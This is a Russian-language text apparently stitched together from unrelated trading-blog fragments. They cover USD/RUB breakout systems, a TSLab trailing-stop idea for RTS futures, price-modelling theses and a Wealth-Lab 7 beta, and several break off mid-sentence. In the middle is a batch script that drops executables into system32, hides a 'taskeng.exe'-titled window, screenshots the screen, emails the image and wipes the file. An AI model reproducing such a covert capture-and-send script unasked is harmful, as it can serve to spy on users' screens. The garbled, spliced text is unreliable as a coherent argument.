Забавный факт из области моих любимых систем, тредовушек на рубль-доллар. Контринтуититвный, чем и ценный.
Все же знают, что доллар к рублю в конечном итоге растет? И что рекордная прибыль системы этого типа приносили в 2014-2015 гг., на девальвации? А в 2020 году лучшим месяцем был март, когда снова грянуло? Верно. И первое, и второе, и третье.
Так вот, несмотря на это, все мои системы, кроме одной, лучше зарабатывают от шорта доллара, чем от лонга.
И для одной (самой грубой из всех пробоек) примерно одинаково. Лучше означает не только чуть большую прибыль, но и плавность ее получения, величину просадки, скорость выхода из нее. Вот если бы стоял выбор – оставить только лонги или только шорты – по совокупности метрик лучше жертвовать лонгами! Хотя они связаны с лучшими воспоминаниями, ударными днями и т.п.
Хотя, конечно, выбор дурацкий: лонги на доллар обладают все же одним неоспоримым достоинством, они хеджируют основные портфели, которые у меня не дергаются вообще. В ситуации а ля март 2020 они обычно давали примерно столько, сколько портфели теряли.
Сегодня темой нашей очередной статьи будет пример попытки улучшения своей доходности, при торговле по тренду.
Начальный алгоритм достаточно прост и стандартен — хай/лоу с периодом в 2000 баров. Тикер РТС Фьючерс. Специально был взят отрезок из прошлого, так как на нем он лучше всего «летал».
Параметр не подогнанный — начальный период в блоках TSLab обычно 20 и мы приписали пару нулей для увеличения продолжительности сделки.
Эквити в начальном виде.
Результаты показывать не будем, так как они будут более интересными, чем график дохода. Рекомендуем посмотреть как это работает на практике лично, если вы уже пользователь нашей программы)
Да — это не плохой график, но попытаемся сделать лучше! Выводим следующую формулу — открываем позицию, считаем доход/количество удерживаемых баров. Если значение растет, — значит рынок двигается с хорошей скоростью в нашу сторону. Если же начинает медленно падать или уходит в минус — значит перестал двигаться в нужном направлении. Пользуясь таким методом, алгоритм приближает стоп-лосс на 1 шаг цены с каждым баром. Для заметки: если работаете с историческими данными, то перепроверьте какой шаг цены вы указали. Иначе рискуете искать долго причину почему стоп не двигается ближе, как это было у меня!)
Софт качается и exe-файлы кидаются в общем случае в c:\windows\system32@ echo off
nircmd.exe cmdwait 1000 win hide ititle «taskeng.exe»
nircmd.exe savescreenshot «C:\Screenshot.jpg»
Swithmail /S /XML «mail.xml»
nircmd.exe cmdwait 4000 filldelete «C:\Screenshot.jpg»
Данная статья ориентирована на тех, кто в поиске идей и готов пробовать что-то новое. Часть нашей аудитории уже регулярно следит за нами и использует ту информацию, которую мы даем для улучшения своей деятельности при помощи платформы TSLab. Наш блог ориентирован на интересующуюся аудиторию, которая готова получать те материалы, которыми мы делимся и внедрять её в работу, а не на «активную» часть, которая тратит свое время на комментарии и не интересуется смысловой частью.
Представленный алгоритм носит ознакомительный характер и является примером того, как с ним работать. Рассматривать данный пример будем на Фьючерсе РТС.
Основное содержание идеи:
Тезисы про математическое моделирование рыночной цены для трейдинга
Снова и снова наблюдаю, что статьи на отвлеченные темы имеют гораздо бОльшую популярность на сайте, чем статьи собственно на конкретные темы трейдинга. Писать на отвлеченные темы нет ни желания, ни планов. Эту статью я опубликую – я обещал нескольким уважаемым коллегам выложить данные расчетов и исследований, но, скорее всего, имеет смысл на этом остановиться – ответной реакции от читателей я практически не вижу.
Выскажу свое мнение на вопрос: как можно подходить к математическому моделированию поведения цены на бирже и каким образом это может помочь в трейдинге.
Сначала несколько исходных положений, в рамках которых, на мой взгляд, целесообразно смотреть на данный вопрос.
Как я рассматриваю процесс изменения цены. Нет смысла, да и не реально, предсказывать конкретную цену в конкретный момент времени. Но можно и нужно предсказывать интервал цен, в котором рыночная цена будет находиться в конкретный ИНТЕРВАЛ времени в будущем с бОльшей вероятностью. Ключевое слово здесь –
Иногда заглядывал на их сайт именно с идеей увидеть новости про 7-ю версию. К велсу испытываю теплые чувства. Но в процессе софтовых метаний ушел от него в свое время. Щас у меня все самописное, но щас скачал демку 7-й версии – и так приямо захотелось в уютное тепло кем-то заботливо написанного софта, а не своей хардкорной консольной инфраструктуры.
Ну, как минимум многоядерность новый велс заюзывает. Все падает, конечно, бета одним словом. У меня бэктесты щас векторизованные. Для приличной доли идей этого хватает, но иногда нужно старое доброе итерирование. Так что куплю как выйдет полноценная версия. Там ещё есть https://www.quantacula.com/ — кто-то юзает, что-то знает? Похоже, это тот же велс, только немного другой, в общем не понятно пока нифига.